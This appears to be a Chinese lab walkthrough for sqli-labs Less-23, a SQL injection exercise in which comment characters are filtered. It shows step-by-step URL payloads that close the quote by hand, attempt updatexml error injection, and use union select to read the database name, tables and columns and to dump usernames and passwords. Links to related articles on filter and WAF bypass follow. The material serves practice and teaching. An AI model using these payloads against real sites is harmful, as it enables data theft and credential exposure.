SQL注入 Less23(过滤注释符)

?id=1

?id=1'

''1'' LIMIT 0,1'
先去掉左右两边各一个单引号，相当于语文中的引用
'1'' LIMIT 0,1
很明显知道是单引号闭合

SELECT * FROM users WHERE id='$id' LIMIT 0,1
因为过滤了注释符，我们可以手动闭合后面的单引号

?id=1' and '1'='1

?id=1' and '1'='2

想使用报错注入的，因为是会有报错信息的

?id=1' and updatexml(1, concat('#', database()), 1) and '1'='1

最后可能会多出了Limit 0,1这部分，导致语句出错了

所以放弃报错注入

尝试使用union注入，因为是有回显点的
?id=1' order by 4 and '1'='1

查不出字段数

直接使用union，来逐个测试字段数
?id=1' union select 1,'2

确实是可以的
?id=1' union select 1,2,'3

查看回显位置
?id=-1' union select 1,2,'3

查数据库
?id=-1' union select 1,(select concat(database(), 0x7e, @@basedir)),'3

查表
?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema="security"),'3

查字段
?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),'3

查数据
?id=-1' union select 1, (select group_concat(username,0x3a,password) from security.users),'3

SQL注入 Less23(过滤注释符)相关推荐

MySQL注入绕过去除注释符
MySQL注入绕过去除注释符 1.MySQL中的注释符注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用,但是注释掉的内容不会被执行. MySQL中的注释符: 1.单行注释:--+或- ...
php sql注入判断,php防止sql注入漏洞过滤函数的代码
php防止sql注入漏洞过滤函数的代码 //整型化 return $id; } //字符过滤函数 function str_check($str) { if (inject_check ( $str ...
php防sql注入什么函数,php防止sql注入漏洞过滤函数的代码
php防止sql注入漏洞过滤函数的代码 php的整站防sql注入程序,在公共文件中require_once本文件即可,感兴趣的朋友可以参考下. 复制代码代码如下: //PHP整站防注入程序,需要在公 ...
sql注入中的--+注释问题探索
在sql-labs游戏中,经常使用--+放在最后注释多余部分,而mysql中的注释符为#和-- 却不能直接使用,以前没学过mysql,一直不理解,也不知道+号的作用,今天有时间特地探索了一下,算是搞明 ...
SQL注入一些过滤及绕过总结
前言: 前几天做了几道SQL注入的题,一上去就遇到这样那样的过滤,弄得我很难受,所以这里写一篇关于过滤一些的总结. 1.过滤关键字过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句 ...
SQL注入中，注释#、 --+、 --%20、 %23到底是什么意思？sqli-labs-master
1.# 和 -- (有个空格)表示注释,可以使它们后面的语句不被执行.在url中,如果是get请求**(记住是get请求,也就是我们在浏览器中输入的url)** ,解释执行的时候,url中#号是用来指 ...
SQL注入和WAF绕过总结姿势
自己复习专用,大佬勿喷文章目录前言一.注入手法联合注入报错注入布尔盲注延时注入堆叠注入二.绕过姿势绕过空格注释符括号引号绕过(使用十六进制) 逗号绕过(使用from或者off ...
7-Web安全——SQL注入WAF绕过之注释符号
SQL注入过程中注释符号有以下几种表达方式: -- # %23 SQL注入过程中注释符号的作用是把后面不需要的语句注释掉,以保证SQL命令的完整性. 以Less-1为例,分析源代码: $sql=&qu ...
mysql注入绕过单引号_SQL注入-绕过过滤规则
过滤规则产生的原因前两篇举例了SQL注入Get请求/SQL注入Post请求的案例,都是因为程序要接收用户输入的变量或者URL传递的参数,并且参数或变量会被组成 SQL语句的一部分被执行.这些数据我们 ...

SQL注入 Less23(过滤注释符)

SQL注入 Less23(过滤注释符)相关推荐

最新文章

热门文章